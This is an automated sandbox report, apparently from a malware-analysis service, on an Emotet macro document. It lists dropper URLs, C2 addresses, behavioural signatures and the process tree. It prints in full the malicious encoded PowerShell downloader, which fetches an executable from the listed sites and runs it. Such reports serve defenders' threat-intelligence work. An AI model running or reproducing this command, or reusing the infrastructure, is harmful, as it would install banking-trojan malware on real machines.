Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    86s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    20/10/2020, 23:32

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_bd8bb55e5c19a63dc282cc5debf1928ca89590da9330bcd9a841459d7d7f65a3_2020-10-20__232610925698._doc.doc
  • Size 175KB
  • Sample201020-6tpknemce2
  • SHA256 bd8bb55e5c19a63dc282cc5debf1928ca89590da9330bcd9a841459d7d7f65a3
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://keishixx.com/apc/ew5/
  • exe.dropper

    http://zylko.com/wp-admin/SD/
  • exe.dropper

    http://kyleesbirthdaybash.com/wp-includes/Sco/
  • exe.dropper

    https://kbpatinhaus.com/wp-includes/5r/
  • exe.dropper

    http://almaart.ir/wp-ontent/7pp/
  • exe.dropper

    https://premiumnitrilegloves.com/wp-content/7/
  • exe.dropper

    http://mommafi.com/wp-includes/S/

Extracted

Family

  • emotet

Botnet

  • Epoch1

C2

  • 173.68.199.157:80

  • 59.148.253.194:8080

  • 173.212.197.71:8080

  • 98.103.204.12:443

  • 2.45.176.233:80

  • 45.33.77.42:8080

  • 181.58.181.9:80

  • 219.92.13.25:80

  • 12.163.208.58:80

  • 2.85.9.41:8080

  • 172.104.169.32:8080

  • 149.202.72.142:7080

  • 189.223.16.99:80

  • 216.47.196.104:80

  • 191.97.154.2:80

  • 213.197.182.158:8080

  • 94.176.234.118:443

  • 46.105.114.137:8080

  • 177.144.130.105:8080

  • 174.118.202.24:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_bd8bb55e5c19a63dc282cc5debf1928ca89590da9330bcd9a841459d7d7f65a3_2020-10-20__232610925698._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1140
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBFAHQALQBpAFQARQBNACAAVgBBAFIASQBhAEIAbABlADoAOAA0AGIAbgAwACAAIAAoACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIAIAAtAEYAIAAnAFQAZQBtAC4AJwAsACcAUwB5AFMAJwAsACcAaQBvAC4AZABJAHIAJwAsACcAZQBDAHQAbwBSAHkAJwApACAAIAApACAAOwAgACAAIAAkAFQANQBvAGIAeQA0AD0AIAAgAFsAVAB5AFAAZQBdACgAIgB7ADUAfQB7ADEAfQB7ADIAfQB7ADAAfQB7ADQAfQB7ADMAfQAiACAALQBGACAAJwBuAFQAJwAsACcAVAAuACcALAAnAHMARQBSAFYAaQBjAEUAUABvAGkAJwAsACcAUgAnACwAJwBtAEEAbgBhAEcARQAnACwAJwBTAHkAUwB0AEUATQAuAG4ARQAnACkAIAAgADsAIAAgACQASgBzAGUAZQAzAHQAYwA9ACgAJwBMACcAKwAoACcAegB0AGgAJwArACcAbwAxAHUAJwApACkAOwAkAE0AMwA4AHIAcwB2AGMAPQAkAEYAZAA5ADQANgBzAGEAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAE0AdABlADQAawA5ADgAOwAkAFEAeABlAF8AcgAwAHMAPQAoACgAJwBDADMAdgAnACsAJwB0ADIAJwApACsAJwB6ACcAKwAnADkAJwApADsAIAAoAEkAdABFAE0AIAAgAHYAYQBSAGkAQQBiAGwAZQA6ADgANABiAG4AMAApAC4AVgBBAEwAdQBFADoAOgAiAGMAYABSAEUAYABBAFQAYABFAGQASQBSAEUAYwBUAG8AUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAFgAOQAnACsAKAAnAHgAQgBmADUAYQAnACsAJwBoACcAKQArACgAJwBqADcAWAAnACsAJwA5AHgAJwArACcAQgAnACkAKwAoACcAcwAnACsAJwBuAHkAbAAnACkAKwAoACcANwBlAFgAOQAnACsAJwB4ACcAKQApACAAIAAtAEMAcgBlAFAATABhAEMARQAgACAAKABbAEMASABhAFIAXQA4ADgAKwBbAEMASABhAFIAXQA1ADcAKwBbAEMASABhAFIAXQAxADIAMAApACwAWwBDAEgAYQBSAF0AOQAyACkAKQA7ACQAWQB6AHEAaAA5AGwAcQA9ACgAJwBNAHgAJwArACcAeQAnACsAKAAnAGkAcAAnACsAJwBqADMAJwApACkAOwAgACAAKABMAHMAIAAoACIAVgBBAHIAaQBhAEIAIgArACIAbAAiACsAIgBlADoAVAA1AE8AIgArACIAYgBZADQAIgApACkALgB2AGEAbABVAEUAOgA6ACIAcwBlAGAAQwB1AGAAUgBJAHQAWQBwAFIATwBgAFQATwBjAGAATwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABVADAAdAAzAHcAdQBoAD0AKAAoACcAUAAnACsAJwBwADEAZAAnACkAKwAoACcAOAByACcAKwAnADIAJwApACkAOwAkAFQAbQA2AGcAawB5AHYAIAA9ACAAKAAnAE8AMwAnACsAKAAnADcAdgAnACsAJwBzACcAKQArACgAJwB6AHgAbQAnACsAJwBnACcAKQApADsAJABOADUAawBrAGUANQBfAD0AKAAnAFQAJwArACgAJwA0AGYAZwAnACsAJwAyAG8AJwApACsAJwBzACcAKQA7ACQAUQB0AHcAbQA5AGEANwA9ACgAJwBSAHgAJwArACcAbwBnACcAKwAoACcAYQBjACcAKwAnAGwAJwApACkAOwAkAEcAawBvAF8AMAB6AHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAMQAnACsAKAAnAGEAJwArACcARQBCAGYAJwApACsAKAAnADUAYQBoAGoAJwArACcANwAnACkAKwAoACcAMQBhACcAKwAnAEUAJwApACsAJwBCAHMAJwArACgAJwBuAHkAJwArACcAbAA3AGUAMQBhAEUAJwApACkALgAiAFIAZQBQAGAAbABBAGMAZQAiACgAKAAnADEAYQAnACsAJwBFACcAKQAsAFsAUwB0AHIAaQBOAEcAXQBbAEMASABBAHIAXQA5ADIAKQApACsAJABUAG0ANgBnAGsAeQB2ACsAKAAnAC4AJwArACgAJwBlAHgAJwArACcAZQAnACkAKQA7ACQAUABtAGIAbgAwAGwAbAA9ACgAJwBDADUAJwArACgAJwAyACcAKwAnADAAeABvAGEAJwApACkAOwAkAFEAagB0AHcAOQB6ADcAPQAuACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQBUAC4AdwBlAEIAYwBsAGkARQBuAFQAOwAkAFoANwAxADcAcgB3AHoAPQAoACgAJwBoACcAKwAnAHQAdAAnACkAKwAoACcAcAAnACsAJwA6AC8ALwBrACcAKQArACcAZQBpACcAKwAoACcAcwBoACcAKwAnAGkAJwApACsAKAAnAHgAeAAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAGEAcAAnACsAJwBjACcAKQArACgAJwAvACcAKwAnAGUAdwA1AC8AJwApACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAnACsAJwAvAHoAeQBsACcAKwAnAGsAbwAuACcAKwAnAGMAJwApACsAKAAnAG8AJwArACcAbQAvACcAKQArACgAJwB3AHAAJwArACcALQBhAGQAbQAnACkAKwAnAGkAJwArACcAbgAnACsAKAAnAC8AUwBEAC8AKgAnACsAJwBoACcAKQArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAnADoALwAnACsAJwAvACcAKwAnAGsAeQAnACsAKAAnAGwAJwArACcAZQBlACcAKQArACcAcwAnACsAJwBiACcAKwAoACcAaQAnACsAJwByAHQAaAAnACkAKwAnAGQAYQAnACsAKAAnAHkAYgBhAHMAaAAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAvACcAKwAnAHcAJwApACsAKAAnAHAALQAnACsAJwBpAG4AJwArACcAYwBsAHUAZABlAHMALwAnACkAKwAoACcAUwAnACsAJwBjAG8ALwAqACcAKwAnAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAvAC8AawBiAHAAJwArACcAYQAnACkAKwAnAHQAaQAnACsAKAAnAG4AJwArACcAaABhAHUAJwApACsAJwBzACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACcALwB3AHAALQAnACsAJwBpACcAKQArACcAbgBjACcAKwAnAGwAdQAnACsAKAAnAGQAJwArACcAZQBzAC8ANQAnACsAJwByACcAKQArACgAJwAvACoAJwArACcAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAvACcAKQArACgAJwAvAGEAbABtACcAKwAnAGEAYQAnACsAJwByAHQALgAnACsAJwBpAHIALwAnACkAKwAoACcAdwBwAC0AJwArACcAbwBuACcAKwAnAHQAJwApACsAKAAnAGUAbgB0AC8AJwArACcANwBwACcAKQArACcAcAAnACsAJwAvACoAJwArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAJwA6AC8AJwArACcALwBwACcAKwAoACcAcgBlACcAKwAnAG0AJwApACsAKAAnAGkAJwArACcAdQBtAG4AJwApACsAJwBpACcAKwAnAHQAcgAnACsAKAAnAGkAbAAnACsAJwBlAGcAJwArACcAbABvAHYAJwApACsAKAAnAGUAJwArACcAcwAuACcAKQArACcAYwAnACsAKAAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACcAYwBvACcAKwAoACcAbgB0AGUAJwArACcAbgB0ACcAKQArACgAJwAvADcAJwArACcALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAvACcAKwAnAG0AJwApACsAKAAnAG8AbQBtAGEAJwArACcAZgAnACkAKwAoACcAaQAnACsAJwAuAGMAbwAnACkAKwAnAG0ALwAnACsAKAAnAHcAcAAnACsAJwAtAGkAbgAnACkAKwAoACcAYwBsACcAKwAnAHUAJwApACsAJwBkACcAKwAoACcAZQBzAC8AUwAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAEkAVAAiACgAJABDAGwAYwBlADEANgBtACAAKwAgACQATQAzADgAcgBzAHYAYwAgACsAIAAkAFkAcAB3AHIAcAA1AGQAKQA7ACQATQA5AHcAcABtAGYAaAA9ACgAKAAnAEYAMQBqACcAKwAnAGUAJwApACsAKAAnAGsAOQAnACsAJwBqACcAKQApADsAZgBvAHIAZQBhAGMAaAAgACgAJABTAGEAOQBfADAAbABoACAAaQBuACAAJABaADcAMQA3AHIAdwB6ACkAewB0AHIAeQB7ACQAUQBqAHQAdwA5AHoANwAuACIAZABPAHcAbgBsAE8AYABBAGAAZABGAGAAaQBMAEUAIgAoACQAUwBhADkAXwAwAGwAaAAsACAAJABHAGsAbwBfADAAegB0ACkAOwAkAFEAOABkAHoAXwBoAHIAPQAoACgAJwBaAHUAJwArACcAcAAnACkAKwAoACcAdQAxACcAKwAnADUAcgAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABHAGsAbwBfADAAegB0ACkALgAiAEwAYABlAE4AZwBUAGgAIgAgAC0AZwBlACAAMwA1ADcANwA4ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3ACcAKwAnAGkAbgAzADIAXwBQACcAKwAnAHIAJwApACsAJwBvACcAKwAnAGMAJwArACgAJwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBDAFIAZQBgAEEAVABFACIAKAAkAEcAawBvAF8AMAB6AHQAKQA7ACQAQgByAHoANAB3AGYAMAA9ACgAJwBVACcAKwAoACcANwBhACcAKwAnAHYAaQBoAGEAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANgB0ADEAbwB5AGsAPQAoACcAVwBxACcAKwAnADMAJwArACgAJwAyAHgAJwArACcAdgBvACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZAG8AaAByAHUAcgBhAD0AKAAnAEQAJwArACgAJwB2AGkAJwArACcAbAByACcAKwAnAGYAMgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1604
  • C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
    C:\Users\Admin\Bf5ahj7\Bsnyl7e\O37vszxmg.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\SysWOW64\SystemPropertiesComputerName\autoplay.exe
      "C:\Windows\SysWOW64\SystemPropertiesComputerName\autoplay.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1620

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1140-2-0x0000000008970000-0x0000000008974000-memory.dmp
        Download

        memory/1140-3-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1140-4-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1140-5-0x0000000007010000-0x0000000007210000-memory.dmp
        Download

        memory/1140-0-0x0000000006290000-0x0000000006390000-memory.dmp
        Download

        memory/1512-16-0x0000000000290000-0x00000000002A8000-memory.dmp
        Download

        memory/1512-15-0x00000000001F0000-0x0000000000209000-memory.dmp
        Download

        memory/1604-6-0x000007FEF1840000-0x000007FEF222C000-memory.dmp
        Download

        memory/1604-12-0x000000001C380000-0x000000001C381000-memory.dmp
        Download

        memory/1604-11-0x000000001C2F0000-0x000000001C2F1000-memory.dmp
        Download

        memory/1604-10-0x0000000001D40000-0x0000000001D41000-memory.dmp
        Download

        memory/1604-9-0x00000000024A0000-0x00000000024A1000-memory.dmp
        Download

        memory/1604-8-0x000000001AB50000-0x000000001AB51000-memory.dmp
        Download

        memory/1604-7-0x00000000023C0000-0x00000000023C1000-memory.dmp
        Download

        memory/1620-19-0x0000000000270000-0x0000000000289000-memory.dmp
        Download

        memory/1620-20-0x00000000003B0000-0x00000000003C8000-memory.dmp
        Download

        memory/2020-21-0x000007FEF7BE0000-0x000007FEF7E5A000-memory.dmp
        Download